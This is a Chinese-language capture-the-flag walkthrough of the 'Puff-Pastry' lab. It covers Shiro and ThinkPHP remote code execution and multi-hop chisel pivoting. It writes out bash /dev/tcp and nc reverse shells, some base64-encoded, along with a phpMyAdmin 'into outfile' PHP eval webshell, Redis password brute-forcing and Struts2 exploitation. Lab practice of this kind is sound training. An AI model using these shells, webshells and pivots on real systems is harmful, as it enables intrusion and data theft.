puff-pastry
前言
靶机地址https://github.com/CTF-Archives/Puff-Pastr 靶机拓扑图如下
渗透过程
shiro
发现rememberme字段,直接使用shiro工具进行rce就可以
然后
1 | cat /flag.txt |
下一步就是反弹shell,直接执行命令
1 | bash -i >& /dev/tcp/192.168.141.112/4444 0>&1 |
不行,换一种方式
1 | bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMTIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}' |
1 | echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMTIvNDQ0NCAwPiYx | base64 -d > /tmp/shell.sh |
这里出现一点小乌龙,就是用shiro工具有的可以执行反弹shell,有点不行,连写文件也不行
这个不行
这个也不行
这个可以
反弹之后查看ip
扫描靶机所处的c段,上传一下扫描攻击fscan
1 | wget http://192.168.141.112:9999/fscan_static |
接下来就是扫描靶机所处的网段
1 | ./fscan -h 192.168.100.0/24 |
扫到了192.168.100.3存在thinkphp框架,接下来扫一下poc
1 | ./fscan -h 192.168.100.0/24 -full |
发现存在漏洞,现在做一下端口转发使用chisel,还是把工具下载到靶机中,攻击机
1 | chisel.exe server -p 1332 --reverse |
靶机
1 | ./chisel client http://192.168.141.168:1332 R:0.0.0.0:7788:192.168.100.2:80 |
命令格式如下
1 | ./chisel client <server_ip>:<server_port> R:<服务端监听IP>:<服务端监听端口>:<客户端内网IP>:<客户端内网端口> & |
执行完我本机方法访问127.0.0.1:7788等同于访问靶机的192.168.100.3:80
thinkphp
刚才扫出来了一个漏洞,工具检测一下
1 | [+] 存在ThinkPHP 5.0.22/5.1.29 RCE |
靶机出网接下来还是反弹shell,写入
1 | echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTQxLjExMi80NDQ0IDA+JjE= | base64 -d >/tmp/shell.sh |
这里又出现了问题,,我真服了
成功了但是没完全成功,回来看shell文件
base64 解码后的字符串有换行 / 多余空白字符,导致重定向语法破坏。0>&1 被解析成单独命令 0,直接报错,shell 崩溃退出
又调试了其他paylaod还是不行,就换nc了
1 | nc 192.168.141.112 4444 -e bash |
这里是完整的命令,接下来就可以反射shell
反弹之后升级一下tty
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
拿到flag
之后还是看ip
发现了一个新的网段,还是上传工具用fscan扫描
1 | ./fscan_static -k 10.85.101.0/24 |
这里看到扫出的服务还是比较多的
1 | phpMyAdmin - 10.85.101.3 |
进行 socks 转发
还是攻击机
1 | chisel.exe server -p 1333 --reverse |
靶机
1 | ./chisel client 192.168.141.168:1333 R:0.0.0.0:6677:socks |
同时浏览器配置代理
redis
扫出来一个redis服务,首先尝试爆破一下密码
redisbrute是一款爆破工具可以用来爆破密码,但是这个工具不支持代理,我们现在没有办法直接爆破,这里还需要Proxychains工具,为了“代理”某个没有代理支持的程序,https://github.com/shunf4/proxychains-windows/releases/tag/0.6.8)
windows就用这个,不要下错版本。
第一次是用proxychains需要修改几个配置
这里改为代理socks的端口
这个DIRECT代表内网直连不走代理,把这三个网段注释掉即可,接下来就可以爆破了
1 | proxychains_win32_x64.exe -f proxychains.conf redisbrute.exe -T 10.85.101.2:6379 -p rockyou.txt -t 8 |
爆破出密码时12345,接下来连接即可,这里是用的是hexhub,支持代理连接
连接后有flag
phpmyadmin
访问一下phpmyadmin
localhost/root/root弱口令直接进后台得到flag
然后可以写入shell
1 | select '<?php eval($_POST["1"]); ?>' into outfile '/var/www/html/1.php' |
按照官方题解是能写入shell的,这里修改一下权限
这样就可以写入,然后蚁剑连接,同样要配置代理
经过测试靶机不出网,这里就需要构建多层端口转发,首先攻击机
1 | ./chisel server -p 1335 --reverse |
在 Thinkphp 主机上建立内网 -> 外网的端口转发
1 | ./chisel client 192.168.141.112:1335 7777:0.0.0.0:7777 //远端端口:本地地址:本地端口 |
整个过程是
1 | phpMyAdmin(10.85.101.4) → 10.85.101.3:7777 【跳板本地端口】 |
在蚁剑新建一个反弹shell的文件
1 | bash -i >& /dev/tcp/10.85.101.3/7777 0>&1 |
成功反弹shell,借助蚁剑上传fsan,chisel之后继续分析
查看ip
发现有新的网段,扫描一下
可以看到172.56.102.3:5432是PostgreSQL服务,存在弱口令psotgres:password
再扫一下poc
1 | ./fscan_static -h 172.56.102.0/24 -full |
在172.56.102.2:8080存在一个漏洞poc-yaml-struts2_045
这里是存在有多个服务,我们只是无法通过像上面的方法一样直接通过socks代理转发,同反弹shell需要通过thinkphp作为跳板机,
攻击机
1 | chisel.exe server -p 1331 --reverse |
thinkphp靶机
1 | ./chisel client 192.168.141.168:1331 1331:1331 |
phpmyadmin
1 | ./chisel client 10.85.101.3:1331 R:0.0.0.0:10005:socks |
同步配置
访问http://172.56.102.3:8080
Struts
前面已经扫到了这里存在Struts2漏洞,https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.73下载漏扫工具,使用proxychains打开工具
注意刚才本机代理的端口为10005,修改配置文件
检测结果如下
直接读flag文件即可
PostgreSQL
同时还有一个172.56.102.3:5432PostgreSQL服务,使用pgcli连接
结语
完整下来差不多弄了2天。这里必须点名一下那个白海豚还有巴威一个说去浙江的结果来河南了,弄得宁波的比赛都推迟了,河南苦苦下。一个说来河南到门口又走了,那时候还在打御网杯超级热,俩魔丸!!!!。还是建议找一个完整的时间把这个靶机打完,不然到内网还要重新配代理环境比较麻烦。最主要的还是使用chisel配置代理,这个配好其他都好说。
















































